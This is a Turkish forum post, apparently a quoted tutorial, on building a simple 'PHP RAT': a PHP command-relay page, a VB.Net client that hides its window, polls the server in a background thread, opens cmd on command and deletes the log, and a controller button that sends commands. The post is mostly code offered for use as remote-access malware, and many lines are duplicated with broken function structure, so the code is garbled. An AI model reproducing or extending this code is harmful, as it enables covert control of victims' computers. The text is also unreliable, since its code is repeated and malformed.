Bir not defteri acin ve sunlari icerisine kopyalayalim :
<?php
$action = $_GET[’action’];
$data = $_GET[’data’];
$action = $_GET[’action’];
$data = $_GET[’data’];
//This will delete log when program reads command
if ($action == "delete"){
unlink("log.txt");
$new = fopen("log.txt", ’a’);
fclose($new);
}
if ($action == "delete"){
unlink("log.txt");
$new = fopen("log.txt", ’a’);
fclose($new);
}
Ve index.php olarak kaydedelim.
Simdi VB.Net ile server yazicaz.
Oncelikle server formunun kpasitesini %0 a dusurelim.
Bu kodlari da Form_Load ’ a ekleyelim :
’This will hide form
Me.Hide
Me.Visible = False
Me.Hide
Me.Visible = False
Simdi bunu da ekleyelim :
’This function will check commands
Public Function check()
Public Function check()
check()
End Function
End Function
Ayrica bunu da Form_Load’a ekleyelim :
’This will "Thread" function "check"
Dim multithread = New System.Threading.Thread(AddressOf check)
multithread.Start()
Dim multithread = New System.Threading.Thread(AddressOf check)
multithread.Start()
Simdi check fonksiyonunu ekleyelim.
Bu yontem sunucudan veri indirmek icin.
Onemli System.Net leri eklediginize de emin olun.
Onemli System.Net leri eklediginize de emin olun.
Dim web As New WebClient
Dim data = web.DownloadString("http://127.0.0.1/rat/index.php?action=read")
Dim data = web.DownloadString("http://127.0.0.1/rat/index.php?action=read")
If data.ToString = "cmd" Then
Shell("cmd", AppWinStyle.NormalFocus)
’This will delete log
web.DownloadString("http://127.0.0.1/rat/index.php?action=delete")
End If
Shell("cmd", AppWinStyle.NormalFocus)
’This will delete log
web.DownloadString("http://127.0.0.1/rat/index.php?action=delete")
End If
VB,Net de alicimizi yazalim simdi de.
Bu sunucu icin verileri ayarlayacaktir.
Onemli System.Net leri eklediginize de emin olun tekrardan.
Onemli System.Net leri eklediginize de emin olun tekrardan.
Simdi bir buton ekleyip icersine su kodu yazalim :
web.DownloadString("http://127.0.0.1/rat/index.php?action=write&data=cmd")
Veee sonuc ! Artik bir PHP RAT’imiz olmus oldu.
Tarxes
Alıntıdır.
Moderatör tarafında düzenlendi:




